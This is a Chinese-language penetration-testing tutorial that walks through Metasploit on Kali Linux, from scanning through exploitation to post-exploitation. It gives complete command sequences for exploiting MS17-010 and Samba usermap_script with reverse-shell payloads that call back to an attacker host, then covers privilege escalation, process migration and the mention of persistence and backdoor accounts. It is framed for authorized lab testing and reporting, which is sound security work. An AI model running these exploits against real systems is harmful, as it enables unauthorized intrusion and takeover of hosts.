Kali Linux 下使用 Metasploit Framework 进行漏洞利用的完整流程

以下是将整个步骤说明 漏洞利用流程的全方位详细整理版;整体按"授权准备 → 信息收集 → 漏洞确认 → 模块与 Payload 选择 → 参数配置 → 执行利用 → 会话管理 → 后渗透提权 → 横向移动注意事项 → 清理与报告 → 示例 → 检查清单"展开。仅限自有靶机、本地授权靶场或书面授权范围使用;不要对生产系统随意执行 exploit,可能导致服务中断。

0. 核心流程总览

MSF 漏洞利用通常不是"只跑一个 exploit",而是标准化流程:
text

复制代码
授权与环境准备
→ 信息收集
→ 漏洞确认
→ 搜索与选择模块
→ 选择 Payload
→ 配置参数
→ 执行利用
→ 会话管理
→ 后渗透与提权
→ 横向移动/影响评估(受控)
→ 痕迹清理与报告

核心命令主线可概括为:
text

复制代码
search → use → show options → set/setg → show payloads → set payload → check → run/exploit
→ sessions -l → sessions -i → 后渗透

1. 环境与授权准备

1.1 必须确认的前提

渗透测试前必须确认:

  • 已获得书面授权或明确测试范围;

  • 使用本地靶机,如 Metasploitable、DVWA、VulnHub 靶机;

  • Kali 攻击机与靶机网络互通;

  • 记录测试时间、目标 IP、端口、模块、Payload 和操作命令,便于复盘与报告;

  • 明确禁止测试的资产、时间段、风险窗口和应急联系人。

1.2 启动 MSF 与数据库

启动 Metasploit 控制台:
bash

复制代码
msfconsole

如需使用 db_nmap、hosts、services 等数据库功能,建议确保 PostgreSQL 与 MSF 数据库正常:
bash

复制代码
service postgresql start
msfdb init
msfconsole

可创建 workspace 隔离项目记录:
bash

复制代码
workspace -a 项目名称
workspace

1.3 记录要求

建议记录:

项目 示例
测试时间 2026-xx-xx
目标 IP 192.168.1.100
开放端口 445、80、22
使用模块 exploit/windows/smb/ms17_010_eternalblue
Payload windows/x64/meterpreter/reverse_tcp
LHOST/LPORT 192.168.1.10 / 4444
执行命令 完整命令与输出
证据 截图、日志、抓包

2. 信息收集

2.1 常规端口与服务扫描

先用常规手段确认目标开放了哪些端口和服务:
bash

复制代码
nmap -sV -O -p- <目标IP>

常见关注点:

目标信息 作用 示例
开放端口 判断攻击面 445、80、22、3389
服务版本 匹配已知漏洞 Samba、Apache、SMB
操作系统 选择对应模块 Windows / Linux
配置弱点 辅助判断可利用性 匿名 FTP、弱口令

2.2 在 MSF 中使用 db_nmap

在 msfconsole 中可直接使用集成 Nmap,结果会保存到 MSF 数据库:
bash

复制代码
db_nmap -sV <目标IP>

查看主机与服务记录:
bash

复制代码
hosts
services

2.3 Web 资产识别

如目标开放 Web 服务,可结合:
bash

复制代码
whatweb <目标URL>
dirsearch -u <目标URL>
nikto -h <目标URL>

关注:CMS、框架版本、目录泄露、默认页面、管理入口、弱口令入口等。

2.4 信息收集输出

信息收集后应形成初步攻击面清单:

  • 目标 IP、主机名、操作系统;

  • 开放端口与服务版本;

  • Web 路径与组件版本;

  • 可能的漏洞编号或配置弱点;

  • 需要进一步确认的候选漏洞。


3. 漏洞确认

扫描发现"可能存在漏洞"不等于"可利用"。应先用 MSF auxiliary 模块或手工方式验证。

3.1 示例:检测 MS17-010

bash

复制代码
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run

如果返回阳性结果,再考虑进入漏洞利用阶段。

3.2 示例:搜索 CVE

bash

复制代码
search cve:2017-0144
search ms17-010
search samba usermap_script

3.3 使用 check 命令

部分 exploit 模块支持 check,可在利用前探测目标是否存在漏洞:
bash

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
check

注意:check 不是所有模块都支持;不支持时只能依据版本、补丁状态和辅助扫描结果判断。


4. 选择漏洞利用模块

4.1 搜索模块

bash

复制代码
search ms17-010
search samba usermap_script
search cve:2017-0144

搜索结果重点看:

  • Name:模块路径;

  • Rank:评级,优先 excellent、great;

  • Description:适用目标;

  • Disclosure Date:披露时间。

4.2 常见模块类型

类型 作用
exploit 真正发起攻击的漏洞利用模块
auxiliary 扫描、探测、爆破等辅助模块
payload 攻击成功后执行的载荷,如 Meterpreter、Reverse Shell
post 后渗透模块,用于提权、信息收集、横向移动等

4.3 选用模块

bash

复制代码
use exploit/windows/smb/ms17_010_eternalblue

加载后提示符会变为类似:
text

复制代码
msf6 exploit(windows/smb/ms17_010_eternalblue) >

5. 选择 Payload

Payload 决定攻击成功后获得什么能力。常见类型:

Payload 类型 特点
reverse_tcp 靶机主动回连攻击机,较容易绕过入站防火墙
bind_tcp 靶机本地监听端口,攻击机主动连接
meterpreter 内存交互式会话,功能较强
cmd/unix/reverse Linux 靶机常用反向 Shell

5.1 Windows 示例

bash

复制代码
set payload windows/x64/meterpreter/reverse_tcp

5.2 Linux 示例

bash

复制代码
set payload cmd/unix/reverse

5.3 查看可用 Payload

bash

复制代码
show payloads

选择时应考虑:

  • 目标操作系统与架构;

  • 目标出站/入站防火墙策略;

  • 是否需要 Meterpreter 后渗透能力;

  • 稳定性与兼容性;

  • 授权范围内的功能需求。


6. 配置关键参数

进入模块后先查看选项:
bash

复制代码
show options

常见参数:

参数 含义 示例
RHOSTS 目标 IP,可支持 CIDR/文件 192.168.1.100
RPORT 目标端口 445、139、80
LHOST 攻击机监听 IP 192.168.1.10
LPORT 攻击机监听端口 4444
PAYLOAD 攻击载荷 meterpreter/reverse_tcp
TARGET 目标系统类型 通常保持默认

6.1 配置示例

bash

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp

如目标端口非默认:
bash

复制代码
set RPORT <端口号>

可查看目标类型:
bash

复制代码
show targets

可查看高级选项:
bash

复制代码
show advanced

如需全局设置攻击机 IP:
bash

复制代码
setg LHOST <攻击机IP>
setg LPORT 4444

6.2 再次确认

bash

复制代码
show options

确认 Required 为 yes 的参数均已填写。


7. 执行漏洞利用

配置完成后执行:
bash

复制代码
exploit

或:
bash

复制代码
run

如需后台运行:
bash

复制代码
exploit -j

如果攻击成功,MSF 通常会建立一个会话。例如:

  • Windows 靶机利用 MS17-010 成功后,可能获得 NT AUTHORITY\SYSTEM 权限;

  • Linux 靶机利用 Samba usermap_script 漏洞成功后,可能直接获得 root 权限。

7.1 查看会话

bash

复制代码
sessions -l

7.2 进入会话

bash

复制代码
sessions -i <会话ID>

7.3 会话后台化

在 Meterpreter 中:
bash

复制代码
background

或:
bash

复制代码
bg

然后可继续管理其他会话。


8. 后渗透与提权

获得初始会话后,可以进一步评估影响,但仍需控制在授权范围内。

8.1 Meterpreter 常见操作

bash

复制代码
getuid
sysinfo
ipconfig
ps
getsystem

说明:

  • getuid:查看当前用户;

  • sysinfo:查看系统信息;

  • ipconfig:查看网络配置;

  • ps:列出进程;

  • getsystem:尝试提权到 SYSTEM。

8.2 获取系统 Shell

bash

复制代码
shell

进入目标系统原生命令行后,可用:
bash

复制代码
whoami
id

验证权限;输入 exit 返回 Meterpreter。

8.3 进程迁移

为防止会话因目标程序关闭而中断,可将 Meterpreter 迁移到稳定进程:
bash

复制代码
ps
migrate <PID>

例如迁移到 explorer.exe 等稳定进程。迁移前确认 PID 与权限。

8.4 本地提权建议

使用后渗透模块寻找本地提权建议:
bash

复制代码
use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run

根据输出选择候选提权模块,但必须在授权范围内验证。

8.5 权限维持

根据测试授权范围,可考虑使用 persistence 脚本或创建后门账号维持访问权限。
注意:权限维持风险高,必须明确授权、记录操作,并在测试结束后清理。


9. 横向移动与内网操作注意事项

内网环境中,还可能涉及:

  • 横向移动;

  • 凭证收集;

  • 服务探测;

  • 域内信息收集;

  • 告警验证。

但这些操作风险较高,必须:

  • 在明确授权和变更窗口内执行;

  • 保留完整审计记录;

  • 避免造成业务中断;

  • 避免触碰范围外资产;

  • 同步抓包或记录日志,用于复盘、告警验证和防御加固。


10. 痕迹清理与报告

测试结束后应恢复环境、清理测试账号、删除测试文件,并整理报告。清理操作也应在授权范围内进行并记录。

10.1 清理内容

  • 删除上传的工具与测试文件;

  • 清理测试账号;

  • 移除测试后门;

  • 按授权要求处理日志与临时配置;

  • 恢复被修改的服务配置;

  • 确认目标系统状态恢复正常。

10.2 报告通常包括

  • 测试范围与授权说明;

  • 目标资产清单;

  • 发现的漏洞及风险等级;

  • 复现步骤与截图证据;

  • 影响评估;

  • 修复建议:打补丁、关闭不必要端口、升级服务版本、加固防火墙策略、最小权限、日志监控;

  • 复测结果;

  • 操作记录与审计证据。


11. 示例一:MS17-010 利用流程

11.1 信息收集

bash

复制代码
nmap -sV -O -p- <目标IP>

或在 MSF 中:
bash

复制代码
db_nmap -sV <目标IP>
services

11.2 漏洞确认

bash

复制代码
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS <目标IP>
msf6 > run

11.3 利用

bash

复制代码
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set LHOST <攻击机IP>
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
check
exploit

11.4 成功后验证

bash

复制代码
getuid
sysinfo
ipconfig

确认权限和系统信息。


12. 示例二:Samba usermap_script 利用流程

12.1 搜索与选用

bash

复制代码
msfconsole
search samba usermap_script
use exploit/multi/samba/usermap_script

12.2 配置与执行

bash

复制代码
set RHOSTS <目标IP>
set payload cmd/unix/reverse
set LHOST <攻击机IP>
set LPORT 4444
show options
exploit

12.3 成功后验证

bash

复制代码
whoami
id

验证是否获得高权限。


13. 常见参数与命令速查

13.1 MSF 核心命令

bash

复制代码
msfconsole                 # 启动 MSF
search <关键字>            # 搜索模块
use <模块路径>             # 选用模块
show options               # 查看参数
show payloads              # 查看可用 Payload
show targets               # 查看目标类型
set <参数> <值>            # 设置参数
setg <参数> <值>           # 设置全局参数
check                      # 漏洞检测(部分模块支持)
run / exploit              # 执行利用
exploit -j                 # 后台执行
sessions -l                # 列出会话
sessions -i <ID>           # 进入会话
background / bg            # 会话后台化

13.2 Meterpreter 常用命令

bash

复制代码
getuid
sysinfo
ipconfig
ps
migrate <PID>
getsystem
shell

13.3 后渗透模块示例

bash

复制代码
use post/multi/recon/local_exploit_suggester
set SESSION <会话ID>
run

14. 注意事项与安全边界

  • 只能在自有靶机或书面授权范围内测试;

  • 不要对生产系统随意执行 exploit,可能导致服务中断;

  • 利用成功不代表可以随意操作,后渗透阶段也要受控;

  • 建议同步抓包或记录日志,用于复盘、告警验证和防御加固;

  • 权限维持、凭证收集、横向移动属于高风险操作,必须明确授权并保留审计记录;

  • 清理痕迹应合法合规,并在授权范围内记录操作;

  • 报告应包含修复建议与复测结果;

  • 防御建议包括:打补丁、关闭不必要端口、升级服务版本、加固防火墙策略、最小权限、日志监控与告警验证。


15. 最终检查清单

text

复制代码
[ ] 已获得书面授权/明确靶场范围
[ ] 已记录目标 IP、端口、时间、操作命令
[ ] 已完成端口与服务扫描
[ ] 已进行漏洞确认,而非直接 exploit
[ ] 已选择合适 exploit 模块与 Payload
[ ] 已检查 show options 并配置 RHOSTS/LHOST/LPORT
[ ] 已执行 check(如模块支持)
[ ] 已执行 exploit/run 并获取会话
[ ] 已用 sessions -l / sessions -i 管理会话
[ ] 已进行受控后渗透与提权验证
[ ] 已记录证据、截图、日志或抓包
[ ] 已清理测试账号/文件/后门并恢复环境
[ ] 已输出报告、影响评估、修复建议与复测结果

以上流程将"信息收集 → 漏洞确认 → 模块选择 → 参数配置 → 执行利用 → 后渗透/提权 → 痕迹清理与报告"的主线,与 MSF 的"搜索模块 → 选用模块 → 查看选项 → 配置参数 → 选择载荷 → 执行利用 → 会话管理"的操作细节融合在一起,可作为 Kali Linux 授权靶场环境下 MSF 漏洞利用测试的完整参考流程。